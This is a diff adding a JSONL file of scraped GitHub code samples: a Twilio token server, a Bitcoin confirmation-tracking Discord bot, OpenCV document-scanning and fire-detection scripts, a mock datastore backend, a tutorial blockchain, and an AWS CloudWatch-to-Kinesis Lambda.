diff --git "a/6334.jsonl" "b/6334.jsonl"
new file mode 100644--- /dev/null
+++ "b/6334.jsonl"
@@ -0,0 +1,1603 @@
+{"seq_id":"11588253041","text":"import os\nfrom flask import Flask, jsonify, request\nfrom faker import Factory\nfrom twilio.access_token import AccessToken, ConversationsGrant\n\napp = Flask(__name__)\nfake = Factory.create()\n\n@app.route('/')\ndef index():\n    return app.send_static_file('index.html')\n\n@app.route('/token')\ndef token():\n    # get credentials for environment variables\n    account_sid = os.environ['TWILIO_ACCOUNT_SID']\n    api_key = os.environ['TWILIO_API_KEY']\n    api_secret = os.environ['TWILIO_API_SECRET']\n\n    # Create an Access Token\n    token = AccessToken(account_sid, api_key, api_secret)\n\n    # Set the Identity of this token\n    token.identity = fake.user_name()\n\n    # Grant access to Conversations\n    grant = ConversationsGrant()\n    grant.configuration_profile_sid = os.environ['TWILIO_CONFIGURATION_SID']\n    token.add_grant(grant)\n\n    # Return token info as JSON\n    return jsonify(identity=token.identity, token=token.to_jwt())\n\nif __name__ == '__main__':\n    app.run(debug=True)\n","repo_name":"mattmakai/video-calls-python-swift","sub_path":"video-quickstart-python-master/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"77"}
+{"seq_id":"4678283261","text":"import discord, asyncio, requests, re, time, os, sys, json;from re import search;from discord.ext import commands;from discord.ext.commands import has_permissions, MissingPermissions\r\nimport subprocess\r\nimport random\r\nimport json\r\nfrom itertools import cycle\r\nfrom exchanges.bitfinex import Bitfinex\r\n\r\nwith open('config.json', 'r+', encoding='utf-8') as f:\r\n    config = json.load(f)\r\n\r\nbot = commands.Bot(command_prefix='$')\r\n\r\nbot.remove_command('help')\r\n@bot.event\r\nasync def on_ready():\r\n    os.system('title Bot running.')\r\n    print('Bot started / Running.')\r\n    while True:\r\n        await bot.change_presence(activity=discord.Activity(type=discord.ActivityType.watching, name=f\"$help | BTC: ${Bitfinex().get_current_price()}\"))\r\n        await asyncio.sleep(60)\r\n\r\ndisplayoptions = [\"If you'd like to contribute to the bot's development (not required), feel free to send any necessary amount to 17rpaAv4XXDLeTLP6kzMKxd3d3zqdkCpgD\", \" Invite this discord bot to your server! https://discord.com/oauth2/authorize?client_id=806580500986593282&scope=bot\"]\r\ndef checkConfirmations(txid, proxy=None):\r\n    if proxy == None:\r\n        getconv = requests.get(f'https://api.blockcypher.com/v1/btc/main/txs/{txid}?limit=50&includeHex=true')\r\n        if getconv.status_code == 200:\r\n            if getconv.json()['double_spend'] == True:\r\n                return \"DoubleSpent\"\r\n            else:\r\n                return getconv.json()['confirmations']\r\n        else:\r\n            return checkConfirmations(txid)\r\n\r\ndef blockcypheraccelerate(rawtxid):\r\n    data = {\r\n        'tx': rawtxid\r\n    }\r\n    r = requests.post(' https://api.blockcypher.com/v1/bcy/test/txs/push', data=data)\r\n    if r.status_code == 200:\r\n        return True\r\n    else:\r\n        return False\r\ndef smartbitaccelerate(rawtxid):\r\n    data = {\r\n        'hex': rawtxid\r\n    }\r\n    r = requests.post('https://api.smartbit.com.au/v1/blockchain/pushtx', data=data)\r\n    if r.status_code == 200:\r\n        return True\r\n    else:\r\n        return False\r\n\r\ndef coinbinaccelerate(rawtxid):\r\n    params = {\r\n        'uid': 1,\r\n        'key': 12345678901234567890123456789012,\r\n        'setmodule': 'bitcoin',\r\n        'request': 'sendrawtransaction'\r\n    }\r\n    data = {\r\n        'rawtx': rawtxid\r\n    }\r\n    r = requests.get(f'https://coinb.in/api/?uid=1&key=12345678901234567890123456789012&setmodule=bitcoin&request=sendrawtransaction', params=params, data=data)\r\n    if r.status_code == 200:\r\n        return True\r\n    else:\r\n        return False\r\n\r\n@bot.command()\r\nasync def check(ctx, txid=None, confcheck=None):\r\n    if txid != None:\r\n        try:\r\n            if confcheck == None:\r\n                confcheck = 1\r\n            \r\n            currrentconf = checkConfirmations(txid)\r\n            if currrentconf != 'DoubleSpent':\r\n                if int(checkConfirmations(txid)) >= int(confcheck):\r\n                    embed = discord.Embed(\r\n                        description=f'{ctx.author.mention}, your transaction ``{txid}`` has already hit ``{confcheck}`` confirmations. The transaction is currently on ``{checkConfirmations(txid)}`` confirmation(s).',\r\n                        color=0xd43b33\r\n                        )\r\n\r\n                    embed.set_footer(text=random.choice(displayoptions))\r\n\r\n                    await ctx.send(embed=embed)\r\n                else:\r\n                    embed = discord.Embed(\r\n                        description=f'{ctx.author.mention}, monitoring your transaction ``{txid}`` on the bitcoin network for ``{confcheck}`` confirmations. The transaction is currently on ``{checkConfirmations(txid)}`` confirmations.',\r\n                        color=0x5CDBF0\r\n                        )\r\n\r\n                    embed.set_footer(text=random.choice(displayoptions))\r\n\r\n                    message = await ctx.send(embed=embed)\r\n\r\n                    embed = discord.Embed(\r\n                        description=f'{ctx.author.mention}, monitoring your transaction ``{txid}`` on the bitcoin network for ``{confcheck}`` confirmations. The transaction is currently on ``{checkConfirmations(txid)}`` confirmations.\\n**Your transaction was successfully accelerated on smartbit, coinbin, and blockcypher!** ✅',\r\n                        color=0x38f232\r\n                        )\r\n\r\n                    embed.set_footer(text=random.choice(displayoptions))\r\n\r\n\r\n                    boosttxid = requests.get(f'https://blockstream.info/api/tx/{txid}/hex').text\r\n                    coinbinaccelerate(boosttxid)\r\n                    smartbitaccelerate(boosttxid)\r\n                    blockcypheraccelerate(boosttxid)\r\n                    await message.edit(embed=embed)\r\n                    while True:\r\n                        await asyncio.sleep(30)\r\n                        currrentconf = checkConfirmations(txid)\r\n                        if currrentconf != 'DoubleSpent':\r\n                            if int(currrentconf) >= int(confcheck):\r\n                                await ctx.send(f'{ctx.author.mention}, your transaction ``{txid}`` has successfully hit ``{confcheck}`` confirmations.')\r\n                                await ctx.author.send(f'{ctx.author.mention}, your transaction ``{txid}`` has successfully hit ``{confcheck}`` confirmations.')\r\n                                break\r\n                        else:\r\n                            embed = discord.Embed(\r\n                                description=f'{ctx.author.mention} **WARNING** your transaction ``{txid}`` was maliciously labeled as doublespent on the senders\\' side. If you are undergoing a deal, please stay cautious and know that the bitcoin delivered will be rolled back to the sender.',\r\n                                color=0xd43b33\r\n                                )\r\n\r\n                            embed.set_footer(text=random.choice(displayoptions))\r\n\r\n                            message = await ctx.send(embed=embed)\r\n                            message = await ctx.author.send(embed=embed)\r\n            else:\r\n                embed = discord.Embed(\r\n                description=f'{ctx.author.mention} **WARNING** your transaction ``{txid}`` was maliciously labeled as doublespent on the senders\\' side. If you are undergoing a deal, please stay cautious and know that the bitcoin delivered will be rolled back to the sender.',\r\n                color=0xd43b33\r\n                )\r\n\r\n                embed.set_footer(text=random.choice(displayoptions))\r\n\r\n                message = await ctx.send(embed=embed)\r\n                await ctx.author.send(embed=embed)\r\n\r\n        except discord.ext.commands.errors.MissingRequiredArgument:\r\n            await ctx.send(f'{ctx.author.mention}, a required arguement is missing when using this command. Please retry the command by running ``!check (txid) (confirmations)``')\r\n    else: \r\n        await ctx.author.send('The required bitcoin network transaction ID is missing when using this command. Please retry the command by running ``!check (txid) (confirmations)``')\r\n\r\n@bot.command()\r\nasync def invite(ctx):\r\n    await ctx.send(f'{ctx.author.mention}, invite the ``Crypto Checker`` discord bot to your discord server by using the following link: https://discord.com/oauth2/authorize?client_id=806580500986593282&scope=bot')\r\n\r\n@bot.command()\r\nasync def help(ctx):\r\n    pass\r\n\r\nbot.run(config['token'])\r\n","repo_name":"acierp/CryptoChecker","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":7323,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"77"}
+{"seq_id":"24300819058","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Nov  8 21:38:07 2020\r\n\r\n@author: Navneet Yadav\r\n\"\"\"\r\nimport cv2\r\nimport numpy as np\r\n#%% image print function\r\ndef imagepr(img):\r\n    cv2.imshow('image', img) \r\n    k = cv2.waitKey(0) & 0xFF\r\n  \r\n    # # wait for 's' key to save and exit\r\n    if k == ord('s'):  \r\n        cv2.imwrite('copy.png',img) \r\n        cv2.destroyAllWindows()  \r\n    # any key to exit \r\n    else :\r\n        cv2.destroyAllWindows()\r\n#%% resize function\r\ndef resize(img,w):\r\n    h_org, w_org = img.shape[:2]\r\n    # Calculating the ratio \r\n    ratio = w / w_org\r\n    # Creating a tuple containing width and height \r\n    dim = (w, int(h_org * ratio)) \r\n    # Resizing the image \r\n    return cv2.resize(img, dim)\r\n#%%\r\ndef canny(image, sigma=0.33):\r\n\t# compute the median of the single channel pixel intensities\r\n\tv = np.median(image)\r\n\t# apply automatic Canny edge detection using the computed median\r\n\tlower = int(max(0, (1.0 - sigma) * v))\r\n\tupper = int(min(255, (1.0 + sigma) * v))\r\n\tedged = cv2.Canny(image, lower, upper)\r\n\t# return the edged image\r\n\treturn edged\r\n# %% taking pic\r\ncap = cv2.VideoCapture(0)\r\ncap.set(3,1280)\r\ncap.set(4,720)\r\nwhile(cap.isOpened()):\r\n    ret, frame = cap.read()\r\n    if ret==True:\r\n        # Display the resulting frame\r\n        cv2.imshow('frame', frame)\r\n        if cv2.waitKey(1) & 0xFF == ord('s'):\r\n            cv2.imwrite(\"NewPicture.jpg\",frame)\r\n            break\r\n    else:\r\n        break\r\n# Release everything if job is finished\r\ncap.release()\r\ncv2.destroyAllWindows()\r\n#%%image preprocessing\r\nimg = cv2.imread(\"rgpv_smart_card.jpg\")\r\nimg=resize(img, 400)\r\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\nblurred = cv2.GaussianBlur(gray, (3, 3), 0)\r\nedges = cv2.Canny(gray, 75, 200)\r\n\r\n#morphological dilation\r\nkernel = np.ones((5,5),np.uint8)\r\ndilation = cv2.dilate(edges,kernel,iterations = 1)\r\nimagepr(edges)\r\n#%% finding contours \r\ncontours, hierarchy = cv2.findContours(edges.copy(),cv2.RETR_TREE,cv2.CHAIN_APPROX_SIMPLE)\r\ncnts = sorted(contours, key = cv2.contourArea, reverse = True)[:5]\r\n# loop over the contours\r\nfor c in cnts:\r\n\t# approximate the contour\r\n\tperi = cv2.arcLength(c, True)\r\n\tapprox = cv2.approxPolyDP(c, 0.02 * peri, True)\r\n\t# if our approximated contour has four points, then we\r\n\t# can assume that we have found our screen\r\n\tif len(approx) == 4:\r\n\t\tpCnt = approx\r\n\t\tbreak\r\n#%%\r\n#cv2.drawContours(img, [pCnt], -1, (0, 255, 0), 2)\r\n#imagepr(img)\r\n#%%\r\nx, y, width, height = cv2.boundingRect(pCnt)\r\nroi = img[y:y+height, x:x+width]\r\ncv2.imwrite(\"result_doc.png\", roi)","repo_name":"navneet05/doc_scanner_opencv","sub_path":"doc_scanner.py","file_name":"doc_scanner.py","file_ext":"py","file_size_in_byte":2548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"319533740","text":"\n\"\"\"Mock handlers for the collector datastore backends.\"\"\"\n\nfrom typing import List, Dict, Set, Optional, Iterable\n\nfrom .. import ConfigEntity\nfrom ..abc_backend import (\n    AbcDataStoreBackend,\n    Entity,\n    NamespaceTemplateEntity,\n    as_namespace_template_entity,\n    ServiceIdConfigEntity,\n    as_service_id_config_entity,\n    GatewayConfigEntity,\n    as_gateway_config_entity,\n    ServiceColorTemplateEntity,\n    as_service_color_template_entity,\n    TemplateEntity,\n)\nfrom .....protect import RouteProtection\n\n\nclass MockBackend(AbcDataStoreBackend):\n    \"\"\"Back-end data store mock object.\"\"\"\n    active_versions: Set[str]\n    namespace_entities: Dict[NamespaceTemplateEntity, str]\n    service_color_entities: Dict[ServiceColorTemplateEntity, str]\n    gateway_entities: Dict[GatewayConfigEntity, str]\n    service_id_entities: Dict[ServiceIdConfigEntity, str]\n    committed: Optional[str]\n\n    def __init__(self):\n        self.active_versions = set()\n        self.namespace_entities = {}\n        self.service_color_entities = {}\n        self.gateway_entities = {}\n        self.service_id_entities = {}\n        self.committed = None\n\n    def get_active_version(self, activity: str) -> str:\n        assert activity not in self.active_versions\n        self.active_versions.add(activity)\n        return activity\n\n    def start_changes(self, activity: str) -> str:\n        assert activity not in self.active_versions\n        self.active_versions.add(activity)\n        return activity\n\n    def commit_changes(self, version: str) -> None:\n        assert version in self.active_versions\n        self.committed = version\n\n    def download(self, version: str, entity: Entity) -> str:\n        assert version in self.active_versions\n        sct = as_service_color_template_entity(entity)\n        if sct:\n            return self.service_color_entities[sct]\n        nte = as_namespace_template_entity(entity)\n        if nte:\n            return self.namespace_entities[nte]\n        sic = as_service_id_config_entity(entity)\n        if sic:\n            return self.service_id_entities[sic]\n        gwc = as_gateway_config_entity(entity)\n        assert gwc\n        return self.gateway_entities[gwc]\n\n    def upload(self, version: str, entity: Entity, contents: str) -> None:\n        assert version in self.active_versions\n        sct = as_service_color_template_entity(entity)\n        if sct:\n            self.service_color_entities[sct] = contents\n            return\n        nte = as_namespace_template_entity(entity)\n        if nte:\n            self.namespace_entities[nte] = contents\n            return\n        sic = as_service_id_config_entity(entity)\n        if sic:\n            self.service_id_entities[sic] = contents\n            return\n        gwc = as_gateway_config_entity(entity)\n        assert gwc\n        self.gateway_entities[gwc] = contents\n\n    def rollback_changes(self, version: str) -> None:\n        self.active_versions.remove(version)\n        self.gateway_entities = {}\n        self.service_id_entities = {}\n        self.service_color_entities = {}\n        self.namespace_entities = {}\n\n    def get_template_entities(self, version: str) -> Iterable[TemplateEntity]:\n        ret: List[TemplateEntity] = list(self.service_color_entities.keys())\n        ret.extend(self.namespace_entities.keys())\n        return ret\n\n    def get_config_entities(self, version: str) -> Iterable[ConfigEntity]:\n        ret: List[ConfigEntity] = list(self.service_id_entities.keys())\n        ret.extend(self.gateway_entities.keys())\n        return ret\n\n    def get_namespace_template_entities(\n            self, version: str, namespace: Optional[str] = None,\n            protection: Optional[RouteProtection] = None, purpose: Optional[str] = None,\n    ) -> Iterable[NamespaceTemplateEntity]:\n        for entity in self.namespace_entities:\n            if (\n                    (namespace is None or namespace == entity.namespace)\n                    and (protection is None or protection == entity.protection)\n                    and (purpose is None or purpose == entity.purpose)\n            ):\n                yield entity\n\n    def get_gateway_config_entities(\n            self, version: str, namespace: Optional[str] = None,\n            protection: Optional[RouteProtection] = None, purpose: Optional[str] = None,\n    ) -> Iterable[GatewayConfigEntity]:\n        for entity in self.gateway_entities:\n            if (\n                    (namespace is None or namespace == entity.namespace_id)\n                    and (protection is None or protection == entity.protection)\n                    and (purpose is None or purpose == entity.purpose)\n            ):\n                yield entity\n\n    def get_service_color_template_entities(\n            self, version: str, namespace: Optional[str] = None,\n            service: Optional[str] = None, color: Optional[str] = None,\n            purpose: Optional[str] = None,\n    ) -> Iterable[ServiceColorTemplateEntity]:\n        for entity in self.service_color_entities:\n            if (\n                    (namespace is None or namespace == entity.namespace)\n                    and (service is None or service == entity.service)\n                    and (color is None or color == entity.color)\n                    and (purpose is None or purpose == entity.purpose)\n            ):\n                yield entity\n\n    def get_service_id_config_entities(\n            self, version: str, namespace_id: Optional[str] = None,\n            service_id: Optional[str] = None, service: Optional[str] = None,\n            color: Optional[str] = None, purpose: Optional[str] = None,\n    ) -> Iterable[ServiceIdConfigEntity]:\n        for entity in self.service_id_entities:\n            if (\n                    (namespace_id is None or namespace_id == entity.namespace_id)\n                    and (service_id is None or service_id == entity.service_id)\n                    and (service is None or service == entity.service)\n                    and (color is None or color == entity.color)\n                    and (purpose is None or purpose == entity.purpose)\n            ):\n                yield entity\n","repo_name":"groboclown/nightjar-mesh","sub_path":"old-stuff-for-reference/nightjar-base/nightjar-src/python-src/nightjar/backend/api/data_store/tests/mock.py","file_name":"mock.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"77"}
+{"seq_id":"14017925530","text":"# IMPORT MODULES\nimport hashlib\nimport json\nfrom time import time\nfrom urllib.parse import urlparse\nfrom uuid import uuid4\nimport requests\nfrom flask import Flask, jsonify, request\n\n# CREATE BLOCKCHAIN CLASS\nclass Blockchain:\n    def __init__(self):\n        self.current_transactions = []\n        self.chain = []\n        self.nodes = set() # for idempotency\n\n        # CREATE GENESIS BLOCK\n        self.new_block(previous_hash=1, proof=100)\n\n    # NEW BLOCK METHOD (create new block and add to the chain)\n    def new_block(self, proof, previous_hash):\n        block = {\n            'index': len(self.chain) + 1,\n            'timestamp': time(),\n            'transactions': self.current_transactions,\n            'proof': proof,\n            'previous_hash': previous_hash or self.hash(self.chain[-1])\n        }\n\n        # reset current transactions list\n        self.current_transactions = []\n        self.chain.append(block)\n\n        return block\n\n    # NEW TRANSACTION METHOD (create new transaction for next mined block)\n    def new_transaction(self, sender, recipient, amount):\n        self.current_transactions.append({\n            'sender': sender,\n            'recipient': recipient,\n            'amount': amount\n        })\n\n        return self.last_block['index'] + 1\n\n    # PROPERTY DECORATOR TO RETURN THE LAST BLOCK\n    @property\n    def last_block(self):\n        return self.chain[-1]\n\n    # HASH METHOD (create SHA-256 hash of a block)\n    # TURN HASH METHOD INTO STATIC METHOD (cannot modify class or object)\n    @staticmethod\n    def hash(block):\n        # must have an ORDERED dictionary\n        block_string = json.dumps(block, sort_keys=True).encode()\n\n        return hashlib.sha256(block_string).hexdigest()\n\n    # PROOF OF WORK (POW) METHOD (where check condition is hash(pp') has 4 leading 0s)\n    def proof_of_work(self, last_proof):\n        proof = 0\n        while self.valid_proof(last_proof, proof) is False:\n            proof += 1\n\n        return proof\n\n    # TURN VALID PROOF METHOD INTO STATIC METHOD (validates if hash has 4 leading 0s)\n    @staticmethod\n    def valid_proof(last_proof, proof):\n        guess = f'{last_proof}{proof}'.encode()\n        guess_hash = hashlib.sha256(guess).hexdigest()\n\n        return guess_hash[:4] == '0000'\n\n    # REGISTERING NODE METHOD (add new ndoe to list of nodes)\n    def register_node(self, address):\n        parsed_url = urlparse(address)\n\n        if parsed_url.netloc:\n            self.nodes.add(parsed_url.netloc)\n        elif parsed_url.path:\n            # accepts url without a 'xxx.xxx.x.x:xxxx' scheme\n            self.nodes.add(parsed_url.path)\n        else:\n            raise ValueError('INVALID URL')\n\n    '''\n    CODE BELOW IS THE CONSENSUS ALGORITHM - ADDRESSES CONFLICTS IN THE BLOCKCHAIN OVER DIFFERENT NODES BY FINDING THE LONGEST CHAIN AND REPLACING WITH THAT CHAIN\n    '''\n\n    # VALID CHAIN CHECK METHOD\n    def valid_chain(self, chain):\n        last_block = chain[0]\n        current_index = 1\n\n        while current_index < len(chain):\n            block = chain[current_index]\n            print(f'{last_block}')\n            print(f'{block}')\n            print(\"\\n-----------\\n\")\n\n            # check if previous hash is correct\n            if block['previous_hash'] != self.hash(last_block):\n                return False\n\n            # check POW\n            if not self.valid_proof(last_block['proof'], block['proof']):\n                return False\n\n            last_block = block\n            current_index += 1\n\n        return True\n\n    # CONFLICT RESOLUTION METHOD\n    def resolve_conflicts(self):\n        neighbors = self.nodes\n        new_chain = None\n\n        max_length = len(self.chain)\n        # grab chains from all other nodes and check their length\n        for node in neighbors:\n            response = requests.get(f'http://{node}/chain')\n\n            if response.status_code == 200:\n                length = response.json()['length']\n                chain = response.json()['chain']\n\n                # compare length with current node's chain and check validity of chain\n                if length > max_length and self.valid_chain(chain):\n                    max_length = length\n                    new_chain = chain\n\n        # replace with new longest chain\n        if new_chain:\n            self.chain = new_chain\n            return True\n\n        return False\n\n'''\nCODE BELOW IS FOR SETTING UP API TO MAKE HTTP REQUESTS TO THE BLOCKCHAIN\n'''\n\n# INSTANTIATE NODE\napp = Flask(__name__)\n\n# GENERATE GLOBALLY UNIQUE ADDRESS FOR NODE\nnode_id = str(uuid4()).replace('-','')\n\n# INSTANTIATE BLOCKCHAIN\nblockchain = Blockchain()\n\n'''\nBELOW ARE ALL THE ROUTES NEEDED TO CREATE AND MANAGE THE BLOCKCHAIN\n'''\n# MINE A NEW BLOCK\n@app.route('/mine', methods=['GET'])\ndef mine():\n    # run POW algo\n    last_block = blockchain.last_block\n    last_proof = last_block['proof']\n    proof = blockchain.proof_of_work(last_proof)\n\n    # reward the sender for the mine; sender is '0' to signify that this node has mined a new coin\n    blockchain.new_transaction(\n        sender=\"0\",\n        recipient=node_id,\n        amount=1\n    )\n\n    # add new block to the chain\n    previous_hash = blockchain.hash(last_block)\n    block = blockchain.new_block(proof, previous_hash)\n\n    response = {\n        'message': 'New Block Forged',\n        'index': block['index'],\n        'transactions': block['transactions'],\n        'proof': block['proof'],\n        'previous_hash': block['previous_hash']\n    }\n\n    return jsonify(response), 200\n\n# MAKE A NEW TRANSACTION\n@app.route('/transaction/new', methods=['POST'])\ndef new_transaction():\n    values = request.get_json()\n    print(values)\n\n    # check required fields\n    required = ['sender', 'recipient', 'amount']\n    if not all(k in values for k in required):\n        return 'MISSING VALUES', 400\n\n    # create new transaction\n    index = blockchain.new_transaction(values['sender'], values['recipient'], values['amount'])\n    response = {'message': f'Transaction will be added to Block {index}'}\n\n    return jsonify(response), 201\n\n# GET THE FULL CHAIN AND LENGTH\n@app.route('/chain', methods=['GET'])\ndef full_chain():\n    response = {\n        'chain': blockchain.chain,\n        'length': len(blockchain.chain)\n    }\n\n    return jsonify(response), 200\n\n# REGISTER A NEW NODE\n@app.route('/nodes/register', methods=['POST'])\ndef register_nodes():\n    values = request.get_json()\n\n    nodes = values.get('nodes')\n    if nodes is None:\n        return \"ERROR: PLEASE SUPPLY A VALID LIST OF NODES\", 400\n\n    for node in nodes:\n        blockchain.register_node(node)\n\n    response = {\n        'message': 'New nodes have been added',\n        'total_nodes': list(blockchain.nodes)\n    }\n\n    return jsonify(response), 201\n\n# RESOLVE NODES\n@app.route('/nodes/resolve', methods=['GET'])\ndef consensus():\n    replaced = blockchain.resolve_conflicts()\n\n    if replaced:\n        response= {\n            'message': 'Our chain was replaced/updated',\n            'new_chain': blockchain.chain\n        }\n    else:\n        response = {\n            'message': 'Our chain is authoritative',\n            'chain': blockchain.chain\n        }\n\n    return jsonify(response), 200\n\nif __name__ == '__main__':\n    app.run(host='127.0.0.1', port=5000)\n","repo_name":"sophia2798/blockchain","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":7245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73339890808","text":"\"\"\"\n\n## Stream Producer\nLambda function that will query all metrics for a given namespace\nand send metric data for the last 60 seconds to a kinesis stream\n\n\"\"\"\nimport os\nimport json\nfrom typing import List\nfrom datetime import timedelta, datetime, timezone\nimport dateutil.parser\nfrom enum import Enum\nimport itertools\n\nimport boto3\nfrom botocore.exceptions import ClientError\n\nfrom dataquality.stream import MetricStream\nfrom definitions.definition import Definition\n\nCW_CLIENT = boto3.client('cloudwatch')\nKINESIS_CLIENT = boto3.client('kinesis')\n\nclass StreamName(Enum):\n    KINESIS_MINUTE_STREAM_NAME: str = 'minute'\n    KINESIS_HOUR_STREAM_NAME: str = 'hour'\n    KINESIS_DAY_STREAM_NAME: str = 'day'\n\ndef main(\n    event: dict,\n    context: dict\n) -> None:\n    \"\"\"Lambda Handler.\"\"\"\n\n    account_number = context.invoked_function_arn.split(\":\")[4]\n    definition = Definition(account=account_number)\n    dataset_stream = MetricStream(metric_sets=definition.metric_sets)\n\n    end_time_exact = datetime.utcnow()\n    end_time = end_time_exact - timedelta(minutes=end_time_exact.minute % 10,\n        seconds=end_time_exact.second,\n        microseconds=end_time_exact.microsecond)\n\n    md_queries = dataset_stream.metric_data_queries(\n            frequency=event['frequency']\n        )\n\n    if len(md_queries) <= 0:\n        print(f\"No metrics matched for {event['frequency']} frequency.\")\n        return False\n    else:\n        print(\"Matched metrics:\")\n        print(md_queries)\n\n        # Group metrics by Period\n        grouped_dict = {}\n        for i in md_queries:\n            k = i[\"MetricStat\"][\"Period\"]\n            if (grouped_dict.get(k) == None):\n                grouped_dict[k]=[i]\n            else:\n                grouped_dict[k].append(i)\n\n    # For each Period in grouped_dict get metric data and append to metrics_data list\n    metrics_data = []\n\n    for period, md in grouped_dict.items():\n        start_time = end_time - timedelta(seconds=period)\n        period_metrics_data = get_metric_data(\n            metric_data_queries=md,\n            start_time=start_time,\n            end_time=end_time\n        )\n        for metric_object in period_metrics_data:\n            metrics_data.append(metric_object)\n            print(metric_object)\n\n    put_metrics(\n        metrics_data=metrics_data,\n        time=end_time,\n        event=event,\n        context=context,\n        metric_sets=dataset_stream.metrics\n    )\n\ndef get_metric_data(metric_data_queries, start_time, end_time):\n    \"\"\"Paginate and return all metric data under namspace.\"\"\"\n    metric_data_results = []\n    paginator = CW_CLIENT.get_paginator('get_metric_data')\n    page_iterator = paginator.paginate(\n        MetricDataQueries=metric_data_queries,\n        StartTime=start_time,\n        EndTime=end_time\n    )\n    for page in page_iterator:\n        metric_data_results += page['MetricDataResults']\n    return metric_data_results\n\ndef translate_metrics_to_records(metrics_data: List[dict], time: datetime, event: dict, context: dict, metric_sets):\n    \"\"\"Translate CW metrics list to Kinesis stream records.\"\"\"\n    records = []\n    metadata_map = {}\n    dimensions_map = {}\n\n    for metric_object in metrics_data:\n        for metric in metric_sets:\n            if metric.unique_id() == metric_object['Id']:\n                metric_object['Namespace'] = metric.namespace\n                metric_object['Name'] = metric.name\n                metric_object['Period'] = metric.period\n                metric_object['Statistic'] = metric.statistic\n                if metric.metadata:\n                    for meta in metric.metadata:\n                        metadata_map[meta.name] = meta.value\n                    metric_object['Metadata'] = metadata_map\n                if metric.dimensions:\n                    for dimension in metric.dimensions:\n                        dimensions_map[dimension.name] = dimension.value\n                    metric_object['Dimensions'] = dimensions_map\n            else:\n                continue\n\n        metric_object['CollectionTime'] = time.replace(tzinfo=timezone.utc).isoformat()\n        metric_object['AccountId'] = context.invoked_function_arn.split(\":\")[4]\n        metric_object['Region'] = context.invoked_function_arn.split(\":\")[3]\n        metric_object['MetricTimestamp'] = metric_object['Timestamps'][0] if len(metric_object['Timestamps']) > 0 else None\n        metric_object['MetricValue'] = metric_object['Values'][0] if len(metric_object['Values']) > 0 else None\n        metric_object['Frequency'] = event['frequency']\n        records.append({\n            'Data': json.dumps(metric_object, default=str),\n            'PartitionKey': 'default'\n        })\n    print(records)\n    return records\n\ndef put_metrics(metrics_data: List[dict], time: datetime, event: dict, context: dict, metric_sets):\n    \"\"\"Put records to kinesis stream\"\"\"\n    try:\n        KINESIS_CLIENT.put_records(\n            Records=translate_metrics_to_records(\n                metrics_data=metrics_data,\n                time=time,\n                event=event,\n                context=context,\n                metric_sets=metric_sets\n            ),\n            StreamName=os.environ[StreamName(event['frequency']).name]\n        )\n    except ClientError as ex:\n        raise ex\n\ndef frequency_to_period(frequency: str) -> int:\n    \"\"\" Convert rate string to period in seconds.\"\"\"\n    if frequency == \"day\":\n        period = 86400\n    if frequency == \"minute\":\n        period = 60\n    if frequency == \"hour\":\n        period = 3600\n    return period\n","repo_name":"awslabs/aws-dataset-ingestion-metrics-collection-framework","sub_path":"lambda/metric_stream_producer.py","file_name":"metric_stream_producer.py","file_ext":"py","file_size_in_byte":5529,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"77"}
+{"seq_id":"34038245148","text":"###########################################\r\n#########   Enrico Ubaldino  ##############\r\n###########################################\r\n\r\nimport cv2\r\n\r\nimport numpy as np\r\n\r\nimport matplotlib.pyplot as plt\r\n\r\n \r\n#Creo variabile per avvio cattura frame. 0 prima webcam, 1 la seconda\r\nlive_Camera = cv2.VideoCapture(0)\r\n\r\n \r\n\r\n #lower_bound = np.array([11,33,111])\r\nlower_bound = np.array([18,50,50])\r\nlower_bound = np.array(lower_bound, dtype=\"uint8\")\r\n\r\n#upper_bound = np.array([90,255,255])\r\nupper_bound = np.array([35,255,255])\r\nupper_bound = np.array(upper_bound, dtype=\"uint8\")\r\n\r\n \r\n\r\nwhile(live_Camera.isOpened()):\r\n\r\n    ret, frame = live_Camera.read()\r\n\r\n    frame = cv2.resize(frame,(1280,720))\r\n\r\n    frame = cv2.flip(frame,1)\r\n\r\n \r\n\r\n    frame_smooth = cv2.GaussianBlur(frame,(7,7),0)\r\n    cv2.imshow(\"Image Gauss\",frame_smooth)\r\n    \r\n    frame_hsv = cv2.cvtColor(frame_smooth,cv2.COLOR_BGR2HSV)\r\n    cv2.imshow(\"Image HSV\",frame_hsv)\r\n    \r\n    mask = cv2.inRange(frame_hsv, lower_bound, upper_bound)\r\n \r\n\r\n    output = cv2.bitwise_and(frame,frame_hsv, mask)\r\n    cv2.imshow(\"Image processing\",output)\r\n    image_binary = output\r\n\r\n \r\n\r\n    check_if_fire_detected = cv2.countNonZero(mask)\r\n\r\n   \r\n\r\n    if int(check_if_fire_detected) >= 20000 :\r\n\r\n        cv2.putText(frame,\"Fire Detected !\",(300,60),cv2.FONT_HERSHEY_COMPLEX,3,(0,0,255),2)\r\n        print('Fire detected')\r\n    \r\n\r\n \r\n\r\n    cv2.imshow(\"Fire Detection\",frame)\r\n    \r\n\r\n \r\n\r\n    if cv2.waitKey(10) == 27 :\r\n\r\n        break\r\n\r\n \r\n\r\nlive_Camera.release()\r\n\r\ncv2.destroyAllWindows()\r\n","repo_name":"Cyberg96/UnioneElettronica","sub_path":"FireDetection_UE.py","file_name":"FireDetection_UE.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
